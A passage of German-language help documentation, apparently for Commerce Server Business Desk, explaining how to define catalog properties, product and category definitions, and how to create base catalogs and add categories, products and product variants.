    Mittels Drilldownsuche auffindbar | Alle | Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in Drilldownsuchen zu verwenden.
    Minimallänge | Mehrsprachiger Text | Geben Sie eine Zahl ein, mit der die Minimallänge des Wertes für diesen Eigenschaftstyp definiert wird. Wenn Sie eine von null verschiedene Länge angeben, wird diese Eigenschaft für eine Produkt- oder Kategoriedefinition zu einer erforderlichen Eigenschaft, und neben der Eigenschaft wird das Symbol Erforderlich angezeigt.
    Maximallänge | Mehrsprachiger Text | Geben Sie eine Zahl ein, mit der die Maximallänge des Wertes für diesen Eigenschaftstyp definiert wird.
    Allen Produkttypen zuweisen Alle Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft allen Produkttypen zuzuweisen. Die Eigenschaften können Sie beispielsweise allgemeinen Produkteigenschaften wie Name, Beschreibung oder Gewicht zuweisen.

    Wenn Sie die Option Allen Produktdefinitionen zuweisen aktivieren, übernehmen alle später von Ihnen erstellten Definitionen automatisch diese Eigenschaft.
    Daten für Analyse speichern | Alles außer mehrsprachigem Long Text | Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft in das Data Warehouse zu exportieren. Durch den Export in das Data Warehouse stehen die Daten für Berichte zur Verfügung.
    In Produktliste anzeigen | Alle | Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in der Produktliste anzuzeigen.
  5. Klicken Sie im Bereich Angezeigter Name auf Neu, und wählen Sie aus der Dropdownliste eine Sprache.
  6. Geben Sie im Feld Angezeigter Name den Namen der Eigenschaft in der betreffenden Sprache ein, und klicken Sie dann auf Übernehmen.

    Dabei handelt es sich um den Namen, der den Besuchern Ihrer Site in der betreffenden Sprache angezeigt wird.

  7. Klicken Sie im Bereich Standardwert auf Neu, und wählen Sie dann aus der Dropdownliste eine Sprache.
  8. Geben Sie im Feld Standardwert den Wert ein, der für die von der angegebenen Sprache verwendete Eigenschaft gilt, und klicken Sie dann auf Übernehmen.
  9. Zum Schützen der Eigenschaft gegen eine Bearbeitung oder ein Löschen durch andere Business Desk-Benutzer klicken Sie im Bereich Sicherheit auf Berechtigungen.
  10. Geben Sie die Windows-Konten der Benutzer an, die die Berechtigung zum Aktualisieren dieses Katalogs haben, und klicken Sie dann auf Schließen.
  11. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Eigenschaftsdefinition zu speichern und zum Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen zurückzukehren.

Jetzt können Sie die mehrsprachige Eigenschaftsdefinition zu einer Kategoriedefinition bzw. einer Produktdefinition hinzufügen.

Siehe auch

Namens- und Größenbeschränkungen für Kataloge

Hinzufügen einer Katalogproduktdefinition

Hinzufügen einer Katalogkategoriedefinition


Hinzufügen benutzerdefinierter Katalogattribute und Eigenschaftsattribute

Commerce Server Business Desk umfasst Katalogattribute wie Währung, Gewichtseinheit, Gebietsschema und Katalogname. Ferner enthält das Programm Eigenschaftsattribute wie Minimallänge/Wert, Maximallänge/Wert, Standardwert und Anzeigename.

Sie können eigene Katalogattribute hinzufügen, z. B. zum Speichern von Informationen über einen Hersteller, der die Produkte in einem Katalog anbietet.

Bei Bedarf können Sie auch eigene Eigenschaftsattribute erstellen, die beschreiben, wie eine bestimmte Eigenschaft in Ihrer Website umgesetzt wird. So können Sie beispielsweise festlegen, dass eine Eigenschaft in einer Dropdownliste als Optionsschaltfläche oder als eine Bezeichnung angezeigt werden soll.

So fügen Sie benutzerdefinierte Katalogattribute und/oder Eigenschaftsattribute hinzu

  1. Wenn Sie mithilfe der Katalog-API neue Attribute in Commerce Server aufnehmen möchten, wenden Sie sich an den Siteentwickler.
  2. Importieren Sie eine XML-Katalogdatei mit den neuen Katalogattributen und Eigenschaftsattributen, die Sie in Ihren Katalogen und Eigenschaften verwenden möchten.
  3. Weisen Sie die Attribute mithilfe des Katalogdefinitions-Designers Katalogen und Eigenschaften zu, und legen Sie entsprechende Werte für sie fest.

Siehe auch

Importieren einer XML-Katalogdatei

Bearbeiten einer Katalogeigenschaftsdefinition


Hinzufügen einer Katalogproduktdefinition

Mit einer Produktdefinition werden die Eigenschaften eines bestimmten Produkttyps angegeben. So könnte ein Onlinemusikanbieter beispielsweise eine Produktdefinition für das Produkt "CDs" erstellen. Die Produktdefinition würde dann die folgenden Eigenschaften enthalten: Künstler, Titel und Listenpreis.

Hinweise

  • Die Eigenschaft Listpreis wird automatisch in jede Produktdefinition aufgenommen.
  • Fügen Sie als Produktvarianteneigenschaft keine Eigenschaften hinzu, die als Produkt-IDs verwendet werden.

So fügen Sie einer Katalogdefinition eine Produktdefinition hinzu

  1. Überzeugen Sie sich davon, dass Sie die Eigenschaftsdefinitionen, die Sie zu Ihrer Produktdefinition hinzufügen möchten, bereits erstellt haben. Weitere Informationen über das Erstellen von Eigenschaftsdefinitionen finden Sie unter Hinzufügen einer Katalogeigenschaftsdefinition.
  2. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  3. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.
  4. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen auf der Symbolleiste auf Neu.
  5. Geben Sie im Bildschirm Produktdefinition: Neu im Feld Name einen Namen für die neue Produktdefinition ein.
  6. Wählen Sie im Bereich Produkteigenschaften aus der Liste Verfügbare Eigenschaften die Eigenschaften aus, die für die neue Produktdefinition gelten sollen, und klicken Sie dann auf Hinzufügen.

    Hinweis

    • Zugewiesene Eigenschaften, die gelb hervorgehoben sind, können nicht entfernt werden. Es handelt sich dabei um Eigenschaften mit dem Attribut Allen Produkttypen zuweisen.
  7. Wenn das neue Produkt Varianten hat, markieren Sie im Bereich Produktvarianteneigenschaften aus der Liste Verfügbare Eigenschaften die gewünschten Eigenschaften. Klicken Sie dann auf Hinzufügen.

    Hinweis

    • Fügen Sie als Produktvarianteneigenschaft keine Eigenschaften hinzu, die als Produkt-IDs verwendet werden.
  8. Sie können die Reihenfolge der Eigenschaften ändern, indem Sie die zu verschiebende Eigenschaft markieren und dann auf Nach oben oder Nach unten klicken, bis sich die Eigenschaft an der gewünschten Position befindet.

    Im Feld Zugewiesene Eigenschaften werden die Eigenschaften in derselben Reihenfolge wie im Katalog angezeigt.

  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Produktdefinition zu speichern und zum Bildschirm Katalogdefinitions-Designer: Produktdefinition zurückzukehren.

Nach Erstellen der Eigenschaftsdefinitionen, Produktdefinitionen und Kategoriedefinitionen können Sie einen Katalog erstellen und diesem Kategorien und Produkte hinzufügen. Anweisungen hierzu finden Sie unter Erstellen eines Basiskatalogs.

Siehe auch

Hinzufügen einer Katalogeigenschaftsdefinition

Hinzufügen einer Katalogkategoriedefinition

Erstellen eines Basiskatalogs

Hinzufügen eines Produkts zu einem Katalog

Hinzufügen einer Kategorie zu einem Katalog


Hinzufügen einer Katalogkategoriedefinition

Eine Kategorie kann über eine oder mehrere Eigenschaften verfügen, wie z. B. Name, Beschreibung und Abbildung. Diese Eigenschaften werden in der Kategoriedefinition festgelegt. Wenn Sie z. B. Informationen über Hersteller speichern und dann die Produkte nach dem Hersteller organisieren möchten, können Sie eine Kategoriedefinition Hersteller erstellen, die verschiedene Eigenschaften wie Herstellername, Land/Region, Adresse und Kontaktperson enthält.

Nach dem Erstellen einer Kategoriedefinition können Sie Kategorien auf der Basis dieser Kategoriedefinition erstellen.

Um Ihnen den Einstieg zu erleichtern, stellt Commerce Server eine Kategoriedefinition mit dem Namen Abteilung zur Verfügung, die Sie bearbeiten oder auch unverändert übernehmen können. Die Abteilungskategoriedefinition enthält die Eigenschaften Beschreibung, image_filename, image_width und image_height. Sie können entweder ausschließlich die Abteilungskategoriedefinition verwenden oder deren Eigenschaften an Ihre geschäftlichen Anforderungen anpassen.

So fügen Sie der Katalogdefinition eine Kategoriedefinition hinzu

  1. Überzeugen Sie sich davon, dass Sie die Eigenschaftsdefinitionen, die Sie zu Ihrer Kategoriedefinition hinzufügen möchten, bereits erstellt haben. Weitere Informationen über das Erstellen von Eigenschaftsdefinitionen finden Sie unter Hinzufügen einer Katalogeigenschaftsdefinition.
  2. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  3. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Kategoriedefinitionen aus.
  4. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Neu.
  5. Geben Sie im Bildschirm Kategoriedefinition: Neu im Feld Name einen Namen für die neue Kategoriedefinition ein.
  6. Wählen Sie im Bereich Kategorieeigenschaften aus der Liste Verfügbare Eigenschaften die Eigenschaften aus, die für die neue Kategoriedefinition gelten sollen, und klicken Sie dann auf Hinzufügen.

    Im Feld Zugewiesene Eigenschaften werden die Eigenschaften in derselben Reihenfolge wie im Katalog angezeigt.

  7. Sie können die Reihenfolge der Eigenschaften ändern, indem Sie die zu verschiebende Eigenschaft markieren und dann auf Nach oben oder Nach unten klicken, bis sich die Eigenschaft an der gewünschten Position befindet.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Kategoriedefinition zu speichern und zum Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen zurückzukehren.

Nach Erstellen der Eigenschaftsdefinitionen, Produktdefinitionen und Kategoriedefinitionen können Sie einen Katalog erstellen und diesem Kategorien und Produkte hinzufügen.

Siehe auch

Erstellen eines Basiskatalogs

Erstellen eines virtuellen Katalogs

Hinzufügen einer Katalogeigenschaftsdefinition

Hinzufügen einer Katalogproduktdefinition

Hinzufügen eines Produkts zu einem Katalog

Hinzufügen einer Kategorie zu einem Katalog


Erstellen eines Basiskatalogs

Nachdem Sie oder Ihr Siteentwickler die Katalogdefinition (Eigenschafts-, Produkt- und Kategoriedefinitionen) erstellt haben, können Sie mithilfe dieser Katalogdefinition einen neuen Katalog erstellen.

Sie haben die Möglichkeit, zwei Arten von Katalogen zu erstellen: Basiskataloge und virtuelle Kataloge. Anweisungen zum Erstellen eines virtuellen Katalogs finden Sie unter Erstellen eines virtuellen Katalogs.

Beim Erstellen eines Katalogs legen Sie Folgendes fest:

  • Die Währung, die für die Angabe von Produktpreisen verwendet wird (z. B. die Abkürzung EUR für Euro).
  • Die eindeutige ID, mit der Produkte im Katalog ausgewiesen sind (z. B. Name des Produkts).
  • Die eindeutige ID, mit der Produktvarianten im Katalog ausgewiesen sind (z. B. die SKU).
  • Die Sprachen, die der Katalog unterstützt (z. B. Englisch, Deutsch, Französisch und Japanisch).

Die Werte für diese Eigenschaften hängen von Ihrer Katalogdefinition ab. In der Katalogdefinition könnten Sie beispielsweise auch angeben, dass die eindeutige ID die SKU des Produkts sein soll.

Hinweise

  • Wenn Sie keine Standardsprache für einen Katalog angeben, verwendet Commerce Server dieselbe Sprache wie das Microsoft Windows-Betriebssystem auf dem Business Desk-Webserver.
  • Die Dauer der Erstellung eines neuen Katalogs richtet sich nach der Anzahl der Commerce Server-Kataloge in Ihrer Datenbank. So könnte Ihr erster leerer Katalog beispielsweise innerhalb weniger Sekunden erstellt werden. Wenn Ihre Datenbank aber bereits mehr als 300 Kataloge mit jeweils 5000 Produkten umfasst, kann die Erstellung eines zusätzlichen Katalogs 10 Minuten dauern.

So erstellen Sie einen Basiskatalog

  1. Bei der folgenden Anleitung wird davon ausgegangen, dass Ihr Siteentwickler oder Sie die Katalogdefinition bereits erstellt haben. Wenn dies noch nicht der Fall ist, lesen Sie die Hinweise unter Erstellen einer Katalogdefinition.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neuer Basiskatalog aus.
  4. Führen Sie im Bildschirm Katalogeigenschaften – Neuer Basiskatalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name Geben Sie einen eindeutigen internen Namen für den neuen Katalog ein. Dieser Name darf nicht mit dem Namen eines bestehenden Katalogs in der Commerce Server-Datenbank identisch sein.

    Dieser interne Name wird in Katalogberichten verwendet und kann bis zu 85 Zeichen lang sein.

    Nach dem Erstellen des Katalogs können Sie diesen Namen nicht mehr ändern. Allerdings können Sie den Katalognamen bearbeiten, der in Ihrer Site angezeigt wird (siehe Schritt 4).
    Anfangsdatum | Geben Sie das Anfangsdatum für den Katalog ein. Dieses Datum hat keine Auswirkung auf Ihre Website. Wenn Sie jedoch mit einem Handelspartner Kataloge austauschen, zeigt dieses Datum dem Handelspartner an, ab wann der Katalog gültig ist.
    Beendigungsdatum | Geben Sie das Beendigungsdatum für den Katalog ein. Ihre Handelspartner erkennen daran, wie lange der Katalog gültig ist. Standardmäßig ist dies das aktuelle Tagesdatum plus drei Monate. Wenn Sie z. B. im Dezember einen Katalog erstellen, dann liegt das Beendigungsdatum im März.
    Währung | Wählen Sie in der Dropdownliste eine Währung für den Katalog. Der Standardwert ist USD.
    Gewichtseinheit | Zeigt die Gewichtseinheit für die Produkte in diesem Katalog an. Dieser Wert wird während der Commerce Server-Konfiguration vom Systemadministrator festgelegt. Wenden Sie sich an Ihren Systemadministrator, wenn dieser Wert geändert werden muss.
    Eindeutige Produkt-ID Wählen Sie einen eindeutigen Bezeichner in der Dropdownliste aus. Wenn Ihre Produkte keine Varianten haben, kann SKU die eindeutige Produkt-ID sein. Wenn es Produktvarianten gibt, kann dies Name oder Titel sein. Die eindeutige Produkt-ID für die Variante wäre dann SKU.

    Diesen Wert können Sie nach dem Erstellen des Katalogs nicht mehr ändern.

    Informationen zum Zuweisen eindeutiger IDs finden Sie unter Empfohlene Vorgehensweisen für Kataloge.
    Eindeutige Produktvarianten-ID Wählen Sie einen eindeutigen Bezeichner für die Produktvarianten in der Dropdownliste aus. Das könnte beispielsweise die SKU oder ein anderer, eindeutiger Bezeichner sein. Wenn die Produkte keine Varianten haben, wählen Sie hier dieselbe Eigenschaft aus wie im Feld Eindeutige Produkt-ID.

    Diesen Wert können Sie nach dem Erstellen des Katalogs nicht mehr ändern.

    Informationen zum Zuweisen eindeutiger IDs finden Sie unter Empfohlene Vorgehensweisen für Kataloge.
  5. Führen Sie im Bereich Katalogsprachen folgende Schritte aus:
    Funktion Aktion
    Hinzufügen Wählen Sie die Sprachen, die der Katalog unterstützen soll.

    Es können jeweils fünf Sprachen ausgewählt werden. Wenn Sie den Katalog dann speichern, können Sie fünf weitere Sprachen angeben. Die Anzahl der Sprachen im Katalog ist somit unbegrenzt.
    Standardsprache Wählen Sie in der Dropdownliste die Standardsprache für Ihren Katalog.

    Wenn Sie keine Standardsprache angeben, verwendet Commerce Server dieselbe Sprache wie das Microsoft Windows-Betriebssystem auf Ihrem Business Desk-Webserver.
    Berichtssprache Wählen Sie in der Dropdownliste die Sprache, die für die im Data Warehouse zu speichernden Eigenschaften verwendet werden soll.

    Diese Sprache wird dann für Berichte und Analysen verwendet.
  6. Legen Sie den angezeigten Namen für den Katalog fest, indem Sie im Feld Sprache eine Sprache wählen und dann auf Bearbeiten klicken.
  7. Geben Sie im Feld Angezeigter Name den Namen für den Katalog in der gewählten Sprache ein. Dieser Katalogname wird dann in Ihrer Website angezeigt.
  8. Im Bereich Abhängige Kataloge listet Business Desk die virtuellen Kataloge auf, die mit diesem Basiskatalog verknüpft sind. Informationen zum Aufnehmen eines Basiskatalogs in einen virtuellen Katalog finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  9. Klicken Sie im Bereich Sicherheit auf Berechtigungen, und geben Sie die Windows-Konten der Benutzer an, die die Berechtigung zum Aktualisieren dieses Katalogs haben. Weitere Informationen zum Gewähren von Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.
  10. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Katalog zu speichern und zum Bildschirm Kataloge zurückzukehren.
  11. Anweisungen zum Hinzufügen von Produkten und Kategorien zu Ihrem Katalog finden Sie unter Hinzufügen einer Kategorie zu einem Katalog und Hinzufügen eines Produkts zu einem Katalog.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge

Erstellen einer Katalogdefinition

Hinzufügen benutzerdefinierter Katalogattribute und Eigenschaftsattribute

Erstellen eines virtuellen Katalogs

Aufnehmen von Basiskatalogen in einen virtuellen Katalog

Hinzufügen eines Produkts zu einem Katalog

Hinzufügen einer Kategorie zu einem Katalog


Hinzufügen einer Kategorie zu einem Katalog

Eine Kategorie wird mithilfe des Katalog-Editor-Moduls zu einem Katalog hinzugefügt. Wenn Sie einem Katalog Produkte hinzufügen, können Sie die Bearbeitungssprache für ein Produkt oder eine Kategorie dynamisch ändern.

Falls Sie einen Katalog im CSV-Dateiformat importiert haben, müssen Sie die Kategorien für diesen Katalog erstellen und ihnen dann Produkte zuordnen.

Für das Hinzufügen einer Kategorie zu einem Katalog führen Sie folgende Schritte aus:

  1. Hinzufügen einer Kategorie zu einem Katalog
  2. Zuweisen übergeordneter und untergeordneter Kategorien (falls erforderlich)
  3. Erstellen von Kategoriebeziehungen (falls erforderlich)
  4. Sichern der Kategorie (falls erforderlich)

Hinweise

  • Kategorienamen müssen in den einzelnen Basiskatalogen eindeutig sein. In einem virtuellen Katalog müssen Kategorienamen für neu erstellte (nicht übernommene) Kategorien eindeutig sein.
  • Wenn Sie einem Basiskatalog eine neue Kategorie hinzufügen, wird die Kategorie in Abhängigkeit von den festgelegten Einschlussregeln automatisch auch in die dazugehörigen virtuellen Kataloge aufgenommen.
  • Mit dem Katalog-Editor-Modul vergeben Sie an Business Desk-Benutzer Berechtigungen für das Bearbeiten dieser Kategorie. Verwenden Sie dazu nicht das Modul "Business Desk-Berechtigungen".

So fügen Sie einem Katalog eine Kategorie hinzu

  1. Vergewissern Sie sich, dass die Kategoriedefinition, auf die sich die Kategorie stützen soll, definiert ist. Informationen über das Hinzufügen von Kategoriedefinitionen finden Sie unter Hinzufügen einer Katalogkategoriedefinition.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Wählen Sie im Bildschirm Kataloge den Katalog aus, dem Sie eine neue Kategorie hinzufügen möchten. Klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  4. Klicken Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Kategorien auf Neu.
  5. Markieren Sie im Dialogfeld Neue Kategorie die Kategoriedefinition, auf die sich die Kategorie stützen soll, und klicken Sie dann auf Weiter. (Wenn nur eine Kategoriedefinition vorhanden ist, wird dieses Dialogfeld nicht angezeigt.)

    Zum Hinzufügen von Kategoriedefinitionen verwenden Sie das Modul "Katalogdefinitions-Designer". Anweisungen finden Sie unter Hinzufügen einer Katalogkategoriedefinition.

  6. Wenn es sich um einen mehrsprachigen Katalog handelt, wählen Sie im oberen Bereich des Bildschirms Katalog-Editor – Katalogname – Neu (Kategorie) die Sprache, die für die mehrsprachigen Eigenschaften verwendet werden soll. Diese sind mit Mehrsprachig gekennzeichnet.
  7. Welche Felder im Bildschirm Katalog-Editor – Katalogname – Neu (Kategorie) angezeigt werden, hängt von der von Ihnen gewählten Kategoriedefinition ab: Zusätzlich zu den hier aufgeführten Feldern können weitere Felder angezeigt werden. Führen Sie folgende Schritte aus:
    Funktion | Aktion
    Name Geben Sie für die neue Kategorie einen eindeutigen internen Namen ein. Die maximale Länge beträgt 100 Zeichen. Kategorienamen müssen in den einzelnen Katalogen eindeutig sein.

    Dieser Name wird in Katalogberichten verwendet.
    Angezeigter Name | Geben Sie den Kategorienamen ein, der in Ihrer Website angezeigt werden soll.
    Beschreibung | Geben Sie eine Beschreibung für die Kategorie ein, die in Ihrer Website angezeigt werden soll.
    Preis Geben Sie einen Preis für die Kategorie ein. Der Preis wird allen Produkten in dieser Kategorie zugewiesen.

    Informationen über das direkte Zuweisen von Preisen zu einem Produkt oder einer Produktvariante finden Sie unter Preisberechnung für ein Produkt in einem Basiskatalog und Preisberechnung auf Produktvariantenebene.
    Suche aktivieren | Aktivieren Sie dieses Kontrollkästchen, um die jeweilige Kategorie zum Ausgangspunkt für eine Drilldownsuche zu machen. Wenn dieses Kontrollkästchen aktiviert ist, wird die Kategorie auf der Seite Erweiterte Suche der Website aufgeführt.
  8. An diesem Punkt können Sie auf der Symbolleiste auf Speichern und zurück klicken, um den Katalog zu speichern.

    Wahlweise können Sie aber auch mit den anderen Bereichen des Bildschirms Katalog-Editor fortfahren und über- bzw. untergeordnete Kategorien einrichten oder die Kategorie sichern.

So weisen Sie übergeordnete und untergeordnete Kategorien zu

  1. Wählen Sie im Bereich Kategorien die Kategorie aus, der Sie über- oder untergeordnete Kategorien zuweisen möchten, und klicken Sie anschließend auf Bearbeiten.
  2. Wählen Sie im Bereich Zugewiesene Kategorien die Kategorie aus, die Sie als die primäre übergeordnete Kategorie zuweisen möchten, und klicken Sie dann auf Festlegen.
  3. Wählen Sie im Dialogfeld Verfügbare untergeordnete Kategorien die gewünschte Kategorie, und klicken Sie dann auf Hinzufügen.

    Die Kategorie wird aus der Liste im Feld Verfügbare untergeordnete Kategorien in die Liste im Feld Zugewiesene untergeordnete Kategorien verschoben.

  4. An diesem Punkt können Sie auf der Symbolleiste auf Speichern und zurück klicken, um den Katalog zu speichern. Wahlweise können Sie aber auch mit den anderen Bereichen des Bildschirms Katalog-Editor fortfahren und Kategoriebeziehungen einrichten.

So erstellen Sie eine Kategoriebeziehung

  1. Klicken Sie im Bereich Kategoriebeziehungen auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Beziehung Geben Sie den Beziehungsnamen ein. Dieser Name wird nicht in Ihrer Website angezeigt.

    (Beziehungen werden zu Kategorien oder Produkten hinzugefügt.)

    Artikel | Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Produktauswahl zu öffnen.
  2. Wählen Sie im Dialogfeld Produktauswahl den Katalog mit der Kategorie, mit der Sie arbeiten möchten.
  3. Wählen Sie in der Liste Kategorien die Kategorie aus, zu der Sie eine Beziehung erstellen möchten, und klicken Sie dann auf OK.

    Die ausgewählte Kategorie wird im Feld Artikel des Bereichs Kategoriebeziehungen angezeigt.

  4. Klicken Sie auf Annehmen, um die Kategoriebeziehung zu speichern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.

So sichern Sie die Kategorie

  1. Klicken Sie im Bereich Sicherheit auf Berechtigungen.
  2. Klicken Sie im Dialogfeld Konten auf Zulassen, um den Business Desk-Benutzern, die diese Kategorie bearbeiten dürfen, den Zugriff zu gewähren, und klicken Sie dann auf Schließen.
  3. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.
  4. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um das neue Produkt in der Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Erstellen von Kategoriehierarchien

Erstellen von Kategorie- und Produktbeziehungen

Empfohlene Vorgehensweisen für Kataloge

Bearbeiten einer Kategorie in einem Basiskatalog

Hinzufügen eines Produkts zu einem Katalog

Aktualisieren und Veröffentlichen eines Katalogs

Hinzufügen einer Katalogkategoriedefinition


Hinzufügen eines Produkts zu einem Katalog

Neue Produkte werden zu bestehenden Katalogen mithilfe des Katalog-Editor-Moduls hinzugefügt. Wenn Sie einem Katalog Produkte hinzufügen, können Sie die Bearbeitungssprache für ein Produkt oder eine Kategorie dynamisch ändern.

So fügen Sie ein neues Produkt zum Katalog hinzu

  1. Vergewissern Sie sich, dass Sie bereits eine Produktdefinition sowie einen Basiskatalog erstellt und mindestens eine Kategorie angelegt haben. Wenn das noch nicht erfolgt ist, lesen Sie die Hinweise unter Hinzufügen einer Katalogproduktdefinition, Erstellen eines Basiskatalogs und Hinzufügen einer Kategorie zu einem Katalog.
  2. Wenn das Produkt über Produktvarianten verfügen soll, überzeugen Sie sich davon, dass die Produktdefinition, auf der das Produkt basiert, so definiert wurde, dass sie Produktvarianten umfasst. Informationen über das Bearbeiten von Produktdefinitionen finden Sie unter Bearbeiten einer Katalogproduktdefinition.
  3. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  4. Wählen Sie im Bildschirm Kataloge den Katalog aus, zu dem Sie ein neues Produkt hinzufügen möchten. Klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  5. Klicken Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Produkte auf Neu.
  6. Wählen Sie im Dialogfeld Neues Produkt die gewünschte Produktdefinition für das Produkt. Klicken Sie dann OK.

    Hinweis

    • Welche Produktdefinitionen verfügbar sind, hängt davon ab, welche Produktdefinitionen Sie der Katalogdefinition hinzugefügt haben. Weitere Informationen erhalten Sie unter Hinzufügen einer Katalogproduktdefinition.
  7. Wenn es sich um einen mehrsprachigen Katalog handelt, wählen Sie im oberen Bereich des Bildschirms Katalog-Editor – Katalogname – Neu (Kategorie) die Sprache aus, die für die mehrsprachigen Eigenschaften verwendet werden soll. Diese sind mit Mehrsprachig gekennzeichnet.
  8. Geben Sie im Bildschirm Katalog-Editor – Katalogname – Neu (Produkt) im Bereich Produkteigenschaften Informationen zu den verfügbaren Eigenschaften ein. Die folgenden Felder müssen Werte enthalten:
    Funktion | Aktion
    Name Geben Sie den Namen des Produkts so ein, wie er in Ihrer Website angezeigt werden soll.

    Dieser Name wird in Katalogberichten verwendet.
    Beschreibung | Geben Sie die Beschreibung des Produkts so ein, wie sie in Ihrer Website angezeigt werden soll.
  9. Klicken Sie im Bereich Produktvarianten auf Neu, und geben Sie anschließend die Informationen für die verfügbaren Eigenschaften ein. Klicken Sie abschließend auf Fertig.

    Hinweis

    • Produktvarianten können Sie nur hinzufügen, wenn sie in der Produktdefinition eingerichtet wurden. Informationen zum Einrichten einer Produktdefinition mit Produktvarianten finden Sie unter Bearbeiten einer Katalogproduktdefinition.
  10. Führen Sie im Bereich Zugewiesene Kategorien folgende Schritte aus:
    Funktion Aktion
    Verfügbare Kategorien Markieren Sie die Kategorie, der Sie die Produkte zuweisen möchten, und klicken Sie dann auf Hinzufügen.

    Möchten Sie eine bereits zugewiesene Kategorie entfernen, klicken Sie auf Entfernen.
    Zugewiesene Kategorien Markieren Sie die zugewiesene Kategorie, und klicken Sie dann auf Bearbeiten, wenn Sie die Kategorie bearbeiten möchten.

    Wenn Sie eine neue Kategorie erstellen möchten, klicken Sie auf Neu.
    Primäre übergeordnete Kategorie Wählen Sie die Kategorie aus, die als primäre übergeordnete Kategorie verwendet werden soll, und klicken Sie dann auf Festlegen.

    Anhand der primären übergeordneten Kategorie werden der kanonische Pfad zu diesem Produkt bzw. dieser Kategorie ermittelt oder Preisregeln der Kategorieebene auf das Produkt angewendet.

Klicken Sie im Bereich Produktfamilienbeziehungen auf Neu, geben Sie einen Namen für die Beziehung ein (z. B. Zubehör), und klicken Sie dann auf die Auslassungsschaltfläche […]. Daraufhin wird das Dialogfeld Produktauswahl angezeigt.

  1. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt für die Beziehung aus, und klicken Sie dann auf OK. Zum Auffinden der gewünschten Kategorien oder Produkte können Sie eine normale oder eine Schlüsselwortsuche durchführen.
    Hinweis
    • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  2. Klicken Sie im Bereich Produktfamilienbeziehungen auf Annehmen. Klicken Sie auf Neu, wenn Sie weitere Beziehungen hinzufügen möchten.
  3. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Produkt zu speichern und zum Bildschirm Kataloge zurückzukehren.
  4. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um das neue Produkt in der Website zu veröffentlichen.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Informationen zu Katalogen

Erstellen von Kategorie- und Produktbeziehungen

Anpassen der Versandarten


Hinzufügen von Produktvarianten zu einem Produkt

Sie haben die Möglichkeit, den Produkten in Ihrem Katalog Produktvarianten zuzuweisen. So könnte es z. B. die Produktvarianten "Farbe" und "Größe" für ein T-Shirt geben. Ein blaues T-Shirt in L wäre eine Variante der T-Shirt-Produktfamilie. Ein blaues T-Shirt in S wäre eine weitere Variante.

Hinweise

  • Bevor Sie einem Produkt eine Produktvariante hinzufügen können, müssen Sie in der Produktdefinition angeben, dass das Produkt Varianten haben wird. Weitere Informationen erhalten Sie unter Bearbeiten einer Katalogproduktdefinition.
  • Jede Produktvariante muss über eine eindeutige ID verfügen. Informationen über eindeutige IDs finden Sie unter Empfohlene Vorgehensweisen für Kataloge.

So fügen Sie Produktvarianten zu einem Produkt hinzu

  1. Vergewissern Sie sich, dass die Produktdefinition, auf der das Produkt basiert, so definiert wurde, dass Produktvarianten zulässig sind. Jede Produktvariante muss über eine eindeutige ID verfügen. Informationen über das Bearbeiten von Produktdefinitionen finden Sie unter Bearbeiten einer Katalogproduktdefinition.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Wählen Sie im Bildschirm Kataloge den Katalog aus, zu dem Sie Produktvarianten hinzufügen möchten. Klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  4. Klicken Sie im Bildschirm Katalog-Editor – Katalogname im Bereich Produkte auf Suchen, um alle Produkte anzuzeigen.
  5. Wählen Sie das Produkt, dem Sie Produktvarianten hinzufügen möchten, und klicken Sie dann auf Bearbeiten.
  6. Klicken Sie im Bildschirm Katalog – Katalogname – Produkt im Bereich Produktvarianten auf Neu.
